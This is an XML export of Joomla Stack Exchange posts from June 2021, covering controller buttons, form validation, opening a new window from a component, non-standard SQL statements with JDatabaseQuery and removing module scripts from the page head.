  <row Id="29236" PostTypeId="2" ParentId="29233" CreationDate="2021-06-02T04:46:38.873" Score="0" Body="&lt;p&gt;The view shouldn't be calling the model or any SQL directly under MVC rules as I understand them therefore your button should call a controller and the controller should then pass control to the model. There is not enough detail in your question to know how the data is being collected in the view, in particular if it is using a Joomla form.xml or if it is some manually created form.&lt;/p&gt;&#xA;&lt;p&gt;If the  statement on the page includes an action attribute that includes the &lt;code&gt;..action=&amp;quot;your.url?option=com_yourcomponent$task=yourcontroller.addDefault&amp;quot;&lt;/code&gt; then you can probably get away with a simple&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button type=&amp;quot;submit&amp;quot; class=&amp;quot;validate btn btn-primary&amp;quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which is all very standard Joomla stock code and if it is following the rest of the Joomla doc examples it should save your data from the form into the right table.&lt;/p&gt;&#xA;&lt;p&gt;However if you need to specifically call a subcontroller from a button and pass the data with a POST then I use something like this;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button onclick=&amp;quot;Joomla.submitbutton('yourcontroller.addDefault');&amp;quot; class=&amp;quot;btn btn-small button-&amp;quot;&amp;gt;Update&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is a very general answer but if you need more details I would suggest you either include more details in your question of the View and component or review the documentation on how to create a Joomla component, &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&lt;/a&gt; , to see if you can find an example of what you need or at least understand how close or not your inherited application is from the 'Joomla way' of doing things.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-06-02T04:46:38.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29237" PostTypeId="2" ParentId="29233" CreationDate="2021-06-02T08:12:45.607" Score="0" Body="&lt;p&gt;Thanks for reply.&lt;/p&gt;&#xA;&lt;p&gt;As the fuction is no argument and inserting default data just to see if I have connection between. I have create a form and proper function but nowhere like could make it run on view (as you have mention probably lack of controller class).&#xA;Thank you for tutorial. Joomla seems to be very strict about MVC.&lt;/p&gt;&#xA;&lt;p&gt;Best Regards,&#xA;Marcin&lt;/p&gt;&#xA;" OwnerUserId="15339" LastActivityDate="2021-06-02T08:12:45.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29238" PostTypeId="5" CreationDate="2021-06-02T09:01:55.677" Score="0" Body="" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-06-02T09:01:55.677" LastActivityDate="2021-06-02T09:01:55.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29239" PostTypeId="4" CreationDate="2021-06-02T09:01:55.677" Score="0" Body="questions about the maintenance of a Joomla website, including the Joomla /administrator/ back-end where site administrators can do administrative tasks." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-06-02T09:01:55.677" LastActivityDate="2021-06-02T09:01:55.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29240" PostTypeId="5" CreationDate="2021-06-02T09:02:55.427" Score="0" Body="" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-06-02T09:02:55.427" LastActivityDate="2021-06-02T09:02:55.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29241" PostTypeId="4" CreationDate="2021-06-02T09:02:55.427" Score="0" Body="questions about the layout (appearance) of the Joomla website" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-06-02T09:02:55.427" LastActivityDate="2021-06-02T09:02:55.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29242" PostTypeId="5" CreationDate="2021-06-02T09:05:04.920" Score="0" Body="&lt;p&gt;The content in articles is stored in the database. Images and documents are stored as files in the file structure of the website.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-06-02T09:05:04.920" LastActivityDate="2021-06-02T09:05:04.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29243" PostTypeId="4" CreationDate="2021-06-02T09:05:04.920" Score="0" Body="the content of a website consists of the text, images and documents that is available for the visitors" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-06-02T09:05:04.920" LastActivityDate="2021-06-02T09:05:04.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29244" PostTypeId="5" CreationDate="2021-06-02T09:07:32.507" Score="0" Body="&lt;p&gt;The configuration.php holds all necessary information (like database credentials) for Joomla to function. Other configuration can usually be configured via &amp;quot;Options&amp;quot; and is stored in the parameters of Extensions (Components, Modules, Templates, Plugins).&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-06-02T09:07:32.507" LastActivityDate="2021-06-02T09:07:32.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29245" PostTypeId="4" CreationDate="2021-06-02T09:07:32.507" Score="0" Body="questions about the configuration (settings) of a Joomla website" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-06-02T09:07:32.507" LastActivityDate="2021-06-02T09:07:32.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29246" PostTypeId="5" CreationDate="2021-06-02T09:11:19.053" Score="0" Body="&lt;p&gt;A server is a computer that runs software (like web server, database server, mail server) that makes it possible for visitors to visit your website.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-06-02T09:11:19.053" LastActivityDate="2021-06-02T09:11:19.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29247" PostTypeId="4" CreationDate="2021-06-02T09:11:19.053" Score="0" Body="for questions about server related issues like server settings and recommendations" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-06-02T09:11:19.053" LastActivityDate="2021-06-02T09:11:19.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29248" PostTypeId="1" CreationDate="2021-06-03T00:10:10.063" Score="1" ViewCount="78" Body="&lt;p&gt;I have a form that using RSForm Pro to build and I have an issue where the default validation for the attachment only appear after I click submit. And the problem now is my form is using the Joomla switcher function.&lt;/p&gt;&#xA;&lt;p&gt;Tab A | Tab B | Tab C |&lt;/p&gt;&#xA;&lt;p&gt;Whenever I tried to submit form at Tab B or Tab C, it will return to Tab A(after click submit the page reload) and the problem is we only allow user to attach file for file format .pdf .doc .docx and attachment is not compulsory(user can choose either to upload or not)&lt;/p&gt;&#xA;&lt;p&gt;I found out that is it possible to add custom validation to RSForm Pro(cusomvalidaiton.php) but we do not know what is the exact field name for attachment field. So my question is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I believe that there is possibilities to add custom validation to our form, has anyone tried it before? Is it possible for the validation to appear and stay at Tab B without switching to Tab A after submit?&lt;/li&gt;&#xA;&lt;li&gt;If custom validation is possible, may I know where can I find the source file or source name for the attachment field?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14095" LastEditorUserId="14095" LastEditDate="2021-06-03T00:19:55.890" LastActivityDate="2021-06-03T00:19:55.890" Title="How to add custom attachment validation into form?" Tags="|php|rsform|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29250" PostTypeId="1" AcceptedAnswerId="30264" CreationDate="2021-06-04T00:48:13.203" Score="2" ViewCount="603" Body="&lt;p&gt;I am trying work out how I can pop up a modal or open a new window or tab when selecting a button on a form that processes the form and passes to another extension? I can't seem to find any examples of where I could or should implement the trigger to the new window.&lt;/p&gt;&#xA;&lt;p&gt;My currently working process gets data from a form on the press of a button that calls a subcontroller to prepare the data and then passes to a printing component that handles direct printing to label printers all within the same window. Because multiple components are calling this direct print component I rely on a Back button to take them back to the original component view.&lt;/p&gt;&#xA;&lt;p&gt;It all works as expected however the end users are getting annoyed as the browser sometimes prompts them to reload the original page. So my thinking, open to alternatives, is to give them a new window/tab that they close and not have to use the Back key.&lt;/p&gt;&#xA;&lt;p&gt;The button on my form page looks like this;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button type=&amp;quot;button&amp;quot;&#xA;        class=&amp;quot;btn refresh hasTooltip &amp;quot;&#xA;        title=&amp;quot;&amp;lt;?php echo Text::_('COM_INVENTORY_BUTTON_POTLABELS_TITLE'); ?&amp;gt;&amp;quot;&#xA;        onclick=&amp;quot;Joomla.submitbutton('consignments.labelsPots');&amp;quot;&amp;gt;&#xA;    &amp;lt;span class=&amp;quot;icon-print&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;?php echo 'Pot Labels'; ?&amp;gt;&#xA;&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my subcontroller I have this code to get the data from the Form and prepare it for the printing component and then trigger a plugin to invoke the direct printing extension. The final redirect line never gets executed unless the plugin is removed or disabled.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function labelsPots()&#xA;{&#xA;    ....prepare $data .....&#xA;    //Invoke plugin to redirect to webPrint extension&#xA;    $this-&amp;gt;dispatcher-&amp;gt;trigger('onContentWebprint', array('com_inventory.consignment.potlabels', $data));   &#xA;  &#xA;    $this-&amp;gt;setRedirect(Route::_('index.php?option=com_inventory&amp;amp;view=' . $this-&amp;gt;view));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the plugin it is fairly straightforward&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentWebprint($context, $payload)&#xA;{&#xA;    $this-&amp;gt;app-&amp;gt;setUserState(&amp;quot;webprint.data.context&amp;quot;, $context);&#xA;    $this-&amp;gt;app-&amp;gt;setUserState(&amp;quot;webprint.data.payload&amp;quot;, $payload);&#xA;    $this-&amp;gt;app-&amp;gt;redirect(Route::_('index.php?option=com_webprint&amp;amp;task=simple.array'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And from there the webprint component, which I want to display in a new window/tab, is a simple page which allows them to select from a list of printer that are connect and online and chage quantity of labels.&lt;/p&gt;&#xA;&lt;p&gt;Most of what I have read involves either adding target attribute to the link, e.g.&lt;code&gt;&amp;lt;a href= .... target=&amp;quot;_blank&amp;quot;&amp;gt;&lt;/code&gt; which I don't have, or putting some JS on the button to open a modal which I don't think allows me to get my data from the current page and process it in the subcontroller first.&lt;/p&gt;&#xA;&lt;p&gt;I could be approaching this the wrong way but I seem to have a blockage on how to do it the way I think it should be possible.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-06-16T15:13:52.577" Title="How to open a new window/tab or modal from within a component" Tags="|joomla-3.x|development|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30250" PostTypeId="1" AcceptedAnswerId="30254" CreationDate="2021-06-04T06:09:35.667" Score="1" ViewCount="205" Body="&lt;p&gt;Recently, I have needed to use some SQL statements that are not supported by the JDatabaseQuery class, specifically &lt;code&gt;REPLACE INTO&lt;/code&gt; and &lt;code&gt;INSERT IGNORE&lt;/code&gt;.  The only way that I am able to get something to work is to not use the JDatabaseQuery class at all.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$query = &amp;quot;REPLACE INTO #__&amp;quot; . $table . &amp;quot;(&amp;quot; . implode(',', $fields) . &amp;quot;)&amp;quot;;&#xA;$query = $query . &amp;quot; VALUES(&amp;quot; . implode(',', $values) . &amp;quot;)&amp;quot;;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I seem to recall reading sometime ago that you could pass in your SQL statements, however I can't find whatever it was I was reading and I have spent most of the day trying different approaches that avoid hacking the JDatabaseQuery class and putting in my own methods.&lt;/p&gt;&#xA;&lt;p&gt;I like the query builder of Joomla and would like to keep things consistent but how do people handle unsupported statements?&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2021-06-04T08:04:27.860" LastActivityDate="2021-06-06T10:37:57.897" Title="How to use SQL statements not supported by JDatabaseQuery" Tags="|joomla-3.x|development|mysql|custom-component|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30251" PostTypeId="2" ParentId="30250" CreationDate="2021-06-04T07:49:13.473" Score="2" Body="&lt;p&gt;As demonstrate by &lt;a href=&quot;https://joomla.stackexchange.com/a/23467/12352&quot;&gt;my answer at with insert on duplicate key update - updating multiple rows at once&lt;/a&gt;, I recommend using Joomla's secure query building methods, then performing any necessary surgery when calling &lt;code&gt;setQuery()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I reckon this is the best you can do.  Just be sure that your surgery CANNOT accidentally &amp;quot;over-replace&amp;quot; or otherwise unintentionally damage any other aspect of your SQL string.&lt;/p&gt;&#xA;&lt;p&gt;Conversely, your posted technique is vulnerable to injection attacks and/or breakage due to quotes in the elements being imploded (well, as far as I can see your values are not quote-wrapped at all, but they might be earlier in the script).&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2021-06-04T07:49:13.473" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30252" PostTypeId="2" ParentId="360" CreationDate="2021-06-04T10:50:15.027" Score="3" Body="&lt;p&gt;Two &lt;strong&gt;Software-as-a-Service solutions&lt;/strong&gt; have already been mentioned:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mysites.guru/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysites.guru/&lt;/a&gt; (formerly myjoomla.com)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://watchful.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://watchful.net/&lt;/a&gt; (formerly watchful.li)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And those commercial SaaS solutions are both good.&lt;/p&gt;&#xA;&lt;p&gt;However, I prefer a &lt;strong&gt;self-hosted solution&lt;/strong&gt;. A few years ago I started using &lt;strong&gt;YourSites.net&lt;/strong&gt; (commercial extension) and I really like it:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You install the YourSites component on the website from which you want to control other websites.&lt;/li&gt;&#xA;&lt;li&gt;Within the component you can download a YourSites Client plugin. Install it in another Joomla or WordPress website.&lt;/li&gt;&#xA;&lt;li&gt;After that you can monitor and maintain all your other (or client) sites from within that one website.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;YourSites works great. And because it's self-hosted I don't share any of my websites' data with third parties or online services. So no GDPR (EU privacy law) issues.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.yoursites.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.yoursites.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-06-04T10:50:15.027" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30253" PostTypeId="2" ParentId="23736" CreationDate="2021-06-05T20:34:35.103" Score="1" Body="&lt;p&gt;&lt;strong&gt;This problem occurs due to a change in the PHP version in the server to (7.3 or 7.4)&lt;/strong&gt; Therefore, you need to change the version to less than that, for example &lt;strong&gt;(7.0).&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Other suggestion:&lt;/strong&gt; change .htaccess make hash (#) for all lines.. see this video (&lt;a href=&quot;https://www.youtube.com/watch?time_continue=157&amp;amp;v=PPOQSyjEAig&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?time_continue=157&amp;amp;v=PPOQSyjEAig&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;If the problem is not resolved&lt;/strong&gt;, you need to download a backup copy in your laptop, update the Joomla version, and then upload it again ..so that it is compatible with the new PHP version.&lt;/p&gt;&#xA;" OwnerUserId="15347" LastActivityDate="2021-06-05T20:34:35.103" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30254" PostTypeId="2" ParentId="30250" CreationDate="2021-06-06T09:13:53.793" Score="1" Body="&lt;p&gt;After more hours trawling through the Joomla libraries to understand how the Query process is working, I can say that converting the &lt;code&gt;$query&lt;/code&gt; object to a SQL command string and replacing the current statement with the required statement is the easiest way that I can see to make this work. This is what is covered in the linked answer by @mickmackusa.&lt;/p&gt;&#xA;&lt;p&gt;From Mick's answer he has offered these suggestions, however there is more discussion worth reading there if you need to suffix another statement.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery(substr_replace($query, 'REPLACE', 0, 8));    // swap INSERT for REPLACE&#xA;// in other words: $db-&amp;gt;setQuery(str_replace(&amp;quot;\r\nINSERT&amp;quot;, &amp;quot;REPLACE&amp;quot;, $query));&#xA;// or:             $db-&amp;gt;setQuery(preg_replace(&amp;quot;~^\s+INSERT~&amp;quot;, &amp;quot;REPLACE&amp;quot;, $query));&#xA;// Joomla puts \r\n at the start of the query; see via var_dump($db) after setQuery()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For anyone else that has found themselves here, I will try to explain what the process is and why it is difficult, possibly impossible, to do it any other way.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The Long Answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;When you create a a new Query, &lt;code&gt;$db-&amp;gt;getQuery()&lt;/code&gt;, an object is created with a lot of predetermined empty elements by the &lt;code&gt;Class JDatabaseQuery&lt;/code&gt; in &lt;code&gt;libraries/joomla/database/query.php&lt;/code&gt;. When you begin to invoke the methods of the Query object, eg.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-setQuery();&#xA;$query-&amp;gt;insert('#__tablename');&#xA;$query-&amp;gt;columns($columns);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Those values are stored in their respective elements. You can only have one of either Insert, Delete, Select or Update statements per Query object.&lt;/p&gt;&#xA;&lt;p&gt;For example the &lt;code&gt;insert('#__tablename')&lt;/code&gt; method will add 'insert' to the &lt;code&gt;type&lt;/code&gt; element and update the &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;elements&lt;/code&gt; with 'INSERT INTO' and '#__tablename'. The value in the 'type' element is important as you will see shortly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[sql:protected] =&amp;gt; &#xA;[type:protected] =&amp;gt; insert&#xA;[element:protected] =&amp;gt; &#xA;[select:protected] =&amp;gt; &#xA;[delete:protected] =&amp;gt; &#xA;[update:protected] =&amp;gt; &#xA;[insert:protected] =&amp;gt; JDatabaseQueryElement Object&#xA;    (&#xA;        [name:protected] =&amp;gt; INSERT INTO&#xA;        [elements:protected] =&amp;gt; Array&#xA;            (&#xA;                [0] =&amp;gt; #__tablename&#xA;            )&#xA;&#xA;        [glue:protected] =&amp;gt; ,&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;As you can see these elements are all 'protected' which prevents you from changing their value from outside the Query object.&lt;/strong&gt; If there was a public method inside the &lt;code&gt;class JDatabaseQuery&lt;/code&gt; that allowed you to update elements then you could replace 'INSERT INTO' with a 'REPLACE INTO' but alas, here we are.&lt;/p&gt;&#xA;&lt;p&gt;At this point you have an Object with some values in elements, but that is a long way from a valid SQL command that can executed; it needs to be 'converted'.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;$db-&amp;gt;setQuery($query)&lt;/code&gt; method will assign the Query object as an object to &lt;code&gt;$this-&amp;gt;sql&lt;/code&gt;. If it is a string it will also get assigned to &lt;code&gt;$this-&amp;gt;sql&lt;/code&gt;, e.g. &lt;code&gt;$db-&amp;gt;query('SELECT * FROM #__tablename')&lt;/code&gt;, and even &lt;code&gt;$db-&amp;gt;query('Fred and Barney')&lt;/code&gt; will get duplicated to &lt;code&gt;$this-&amp;gt;sql&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Inside the &lt;code&gt;$query&lt;/code&gt; and &lt;code&gt;$this-&amp;gt;sql&lt;/code&gt; objects is a &lt;em&gt;magic&lt;/em&gt; method called &lt;code&gt;__toString&lt;/code&gt; that automatically gets called whenever an object is referenced as a string, hold that thought. The &lt;code&gt;__toString&lt;/code&gt; method steps through the object looking at the &lt;code&gt;'type'&lt;/code&gt;(i.e.insert,select,update,delete) element and from that constructs the SQL statements into a string almost ready to be passed to the database.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The &lt;code&gt;__toString&lt;/code&gt; is the second reason why providing anything other the predefined statements is not allowed as its converting process is fairly narrow in scope.&lt;/strong&gt; If we could change the element value of INSERT INTO to a REPLACE INTO, or INSERT IGNORE INTO, then it would actually manage to process it correctly. However it is not able to handle extra statements like &lt;code&gt;ON DUPLICATE KEY UPDATE&lt;/code&gt;. You can see for yourself at /&lt;code&gt;joomla/database/query.php&lt;/code&gt; what is going on with the supported statements in the switch/case processing.&lt;/p&gt;&#xA;&lt;p&gt;The last piece of the process was trying to work out &lt;strong&gt;when&lt;/strong&gt; the __toString is actioned to create the SQL command string. Turns out that in normal processing, if the string has not already been created,  it is the call to the function &lt;code&gt;replacePrefix()&lt;/code&gt; (which replaces the '#_' with the actual prefix) that causes the &lt;code&gt;__toString()&lt;/code&gt; to fire up, &lt;code&gt;$this-&amp;gt;replacePrefix((string) $this-&amp;gt;sql);&lt;/code&gt;, note the '(string)'.&lt;/p&gt;&#xA;&lt;p&gt;Therefore if you have been keeping up, you can create your SQL command string before the &lt;code&gt;$db-&amp;gt;setQuery()&lt;/code&gt;, during the &lt;code&gt;db-&amp;gt;setQuery&lt;/code&gt; or leave it for the &lt;code&gt;replacePrefix()&lt;/code&gt; to make it happen. If you want to change anything in your SQL that you can't do with the JDatabaseQuery object methods then you need to choose either of the first two options as shown in the examples from @mickmackusa at the top of this answer.&lt;/p&gt;&#xA;&lt;p&gt;Beyond my knowledge at the moment however I think that by being able to override or extend &lt;code&gt;Class JDatabaseQuery&lt;/code&gt; so as to allow either changing of the elements of the object and/or improving the &lt;code&gt;__toString&lt;/code&gt; method to handle other variations of the Insert statements it could be possible to handle more statements.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2021-06-06T10:37:57.897" LastActivityDate="2021-06-06T10:37:57.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30255" PostTypeId="1" CreationDate="2021-06-07T20:03:01.347" Score="2" ViewCount="244" Body="&lt;p&gt;I found this code from this topic: &lt;a href=&quot;https://joomla.stackexchange.com/questions/97/disable-script-loading-in-head&quot;&gt;Disable script loading in head&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$dontInclude = array(&#xA;'/media/jui/js/jquery.js',&#xA;);&#xA;&#xA;foreach($doc-&amp;gt;_scripts as $key =&amp;gt; $script){&#xA;    if(in_array($key, $dontInclude)){&#xA;        unset($doc-&amp;gt;_scripts[$key]);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, my site's module loads it with the domain first.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&amp;quot;https://www.DOMAIN.com/modules/mod_jux_background_video/assets/js/jquery-ui.min.js&amp;quot; type=&amp;quot;text/javascript&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How do I edit the array to disable this module's jquery?&lt;/p&gt;&#xA;" OwnerUserId="7327" LastActivityDate="2024-02-26T12:07:35.837" Title="Disable script in head if path to script has a full url?" Tags="|joomla-3.x|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30256" PostTypeId="2" ParentId="30255" CreationDate="2021-06-08T04:43:38.857" Score="0" Body="&lt;p&gt;Since in your case jQuery library is loaded by the JUX background video module thus you can turn jQuery loading off in the admin settings of your module in module manager. So, find your JUX background video module, click on &lt;strong&gt;Advanced options&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Enable jQuery&lt;/strong&gt;, set it to &lt;strong&gt;no&lt;/strong&gt; (if jQuery library is already loaded on your page). You can also set it to noConflict mode as you can see it below.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JtNZz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JtNZz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit: Answering your original question programmatically.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the comments below with additional shared data to the original question  it has become obvious the jQuery libraries do not cause any conflict on the particular webpage as apparently there is no conflicting libraries loaded on the page, therefor nothing should be unset in the head of the page, but just for completion of this question I place the code answer here too, maybe someone will need that later:&lt;/p&gt;&#xA;&lt;p&gt;Since you tried to unset the jQuery UI library in the &lt;code&gt;index.php&lt;/code&gt; file of your template, I just place here one line which can unset the library in the document head (unsetting script links in &lt;code&gt;index.php&lt;/code&gt; file directly is not recommended at all in Joomla because at the next update of the template it is going to be deleted from the file).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// on the top of the file:&#xA;use \Joomla\CMS\Uri\Uri;&#xA;&#xA;// right after the line: &amp;lt;jdoc:include type=&amp;quot;head&amp;quot; /&amp;gt; :&#xA;unset($this-&amp;gt;_scripts[Uri::root() . '/modules/mod_jux_background_video/assets/js/jquery-ui.min.js’]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The Joomla standard way would be including this kind of codes in a system plugin, like here in this answer:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4953/how-can-i-completely-remove-bootstrap-from-the-frontend-of-joomla&quot;&gt;How can I completely remove Bootstrap from the frontend of Joomla?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;or in one of my earlier answers on the subject I also included a sample code for this kind of plugin:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/26497/modification-of-the-generated-joomla-head-jdocinclude-type-head/26498#26498&quot;&gt;Modification of the generated Joomla head (&amp;lt;jdoc:include type=&amp;quot;head&amp;quot; /&amp;gt;)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But as it has gotten clear the whole problem of the original question is totally different and unsetting the jQuery UI library just can cause more problems, and I'll maybe write a short update on that too later...&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2021-06-11T05:07:12.723" LastActivityDate="2021-06-11T05:07:12.723" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30257" PostTypeId="1" CreationDate="2021-06-10T11:43:57.620" Score="0" ViewCount="36" Body="&lt;p&gt;I'm working on accessibility. I found some issues while inspecting in Chrome browser but I'm not getting the actual code in VS for XML files.&lt;/p&gt;&#xA;" OwnerUserId="15297" LastActivityDate="2021-06-10T11:43:57.620" Title="How to get actual code of XML form" Tags="|php|xml|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30258" PostTypeId="1" CreationDate="2021-06-10T12:05:29.903" Score="0" ViewCount="56" Body="&lt;p&gt;Programming is my weakest point; I searched all possible topics, but haven't found what needed.&lt;/p&gt;&#xA;&lt;p&gt;Joomla 3.9.27 + Easy Profile Pro 2.9.1&lt;/p&gt;&#xA;&lt;p&gt;I need to add the function to view the visitors of my profile. I have seen the plugins for JomSocial and EasySocial, but I don't want to use these.&lt;/p&gt;&#xA;&lt;p&gt;Are there any other extensions which offer this functionality?&lt;/p&gt;&#xA;" OwnerUserId="15394" LastEditorUserId="12352" LastEditDate="2021-06-10T21:54:18.063" LastActivityDate="2021-06-11T02:09:52.630" Title="Seeking an extension that displays &quot;Who visited my profile&quot;" Tags="|joomla-3.x|php|plugin|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30259" PostTypeId="2" ParentId="28449" CreationDate="2021-06-10T12:23:48.633" Score="1" Body="&lt;p&gt;If you mean disable by noindex, then go to CONTENT-&amp;gt;CATEGORIES, enter a needed category (products), go to the tab PUBLISHING, find ROBOTS drop down list and choose noindex/nofollow.&lt;/p&gt;&#xA;" OwnerUserId="15394" LastActivityDate="2021-06-10T12:23:48.633" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
